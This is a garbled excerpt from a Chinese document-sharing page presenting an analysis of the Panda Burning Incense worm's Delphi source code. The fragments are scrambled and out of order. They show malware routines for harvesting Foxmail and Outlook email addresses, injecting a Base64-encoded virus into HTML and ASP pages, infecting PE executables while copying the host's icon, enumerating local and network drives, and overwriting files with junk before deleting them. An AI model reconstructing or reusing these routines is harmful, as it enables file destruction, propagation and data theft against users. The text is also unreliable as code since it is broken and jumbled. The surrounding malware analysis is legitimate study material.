信息安全熊貓燒香病毒剖析docxdocx-文庫吧資料
2025-07-24 19:28本頁面
【正文】 9。) or(Ext = 39。) or (Ext = 39。) or (Ext = 39。) or(Ext = 39。) or (Ext = 39。) or (Ext = 39。 then //Foxmail地址簿文件begin//獲取Foxmail郵件地址endelsebeginif IsJap thenbeginif (Ext = 39。 then //Foxmail地址自動(dòng)完成文件begin//獲取Foxmail郵件地址endelse if Ext = 39。 then //Outlook地址簿文件begin//獲取Outlook郵件地址endelse if Ext = 39。) thenbegin//感染HTML和ASP文件，將Base64編碼后的病毒寫入//感染瀏覽此網(wǎng)頁的所有用戶endelse if Ext = 39。) or (Ext = 39。) or (Ext = 39。//感染可執(zhí)行文件endelse if (Ext = 39。.SCR39。.EXE39。Ext := UpperCase(ExtractFileExt(Fn))。beginif (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) thenbeginrepeatPeekMessage(Msg, 0, 0, 0, PM_REMOVE)。) thenResult := 1 //不是根目錄else Result := 2。) and( 39。) thenResult := 0//不是目錄else if ( = 16) and ( 39。) and( 39。beginif ( 16) and ( 39。Msg: TMsg。SubDir: TStrings。vari, Count: Integer。end。//得到本地磁盤和網(wǎng)絡(luò)盤if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) thenResult := Result + D。:\39。beginfor i := 0 to 25 do //遍歷26個(gè)字母beginD := Chr(i + 65)。Str: string。varDiskType: Word。end。DeleteFile(PChar(FileName))。finallyFileClose(FileHandle)。Inc(i)。while i Max dobeginFileSeek(FileHandle, i * Mass, 0)。Mass := Size div Max。Max := Random(15)。//文件大小i := 0。//去掉只讀屬性FileHandle := FileOpen(FileName, fmOpenWrite)。i, Size, Mass, Max, Len: Integer。{===================將目標(biāo)文件寫入垃圾碼后刪除==================}procedure SmashFile(FileName: string)。end。end。(FileName)。finally。finally。iID := $44444444。//寫入宿主程序CopyStream(SrcStream, 0, DstStream, HeaderSize, )。//寫入目前程序的主圖標(biāo)CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize)。//頭文件HdrStream := (ParamStr(0), fmOpenRead or fmShareDenyNone)。end。(IcoStream)。try//得到被感染文件的主圖標(biāo)(744字節(jié))，存入流。DstStream := 。if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出Exit。finally。//檢查感染標(biāo)記(iID, 4)。end。 //是PE文件Break。(Buf, 2)。SrcStream := (FileName, fmOpenRead)。Infected := False。39。Buf: array[0..1] of Char。Infected, IsPE: Boolean。iID: LongInt。varHdrStream, SrcStream: TFileStream。 //此處省略了帶危害性代碼beginend。end。 := 0。 := STARTF_USESHOWWINDOW。 := nil。begin := SizeOf(Si)。{===================填充STARTUPINFO結(jié)構(gòu)================== }procedure FillStartupInfo(var Si: STARTUPINFO。exceptend。finally。finally。try(HeaderSize, 0)。begintrysStream := (ParamStr(0), fmOpenRead or fmShareDenyNone)。{==========將宿主文件從已感染的PE文件中分離出來，以備使用====== }procedure ExtractFile(FileName: string)。(dCurPos, 0)。(Src, Count)。(sStartPos, 0)。beginsCurPos := 。 Count: Integer)。 Dst: TStream。{=======================在流之間復(fù)制======================== }procedure CopyStream(Src: TStream。if ( = VER_PLATFORM_WIN32_WINDOWS) then //Win9xResult := True。 := SizeOf(TOSVersionInfo)。varVer: TOSVersionInfo。
教學(xué)課件相關(guān)推薦
鄂ICP備17016276號-1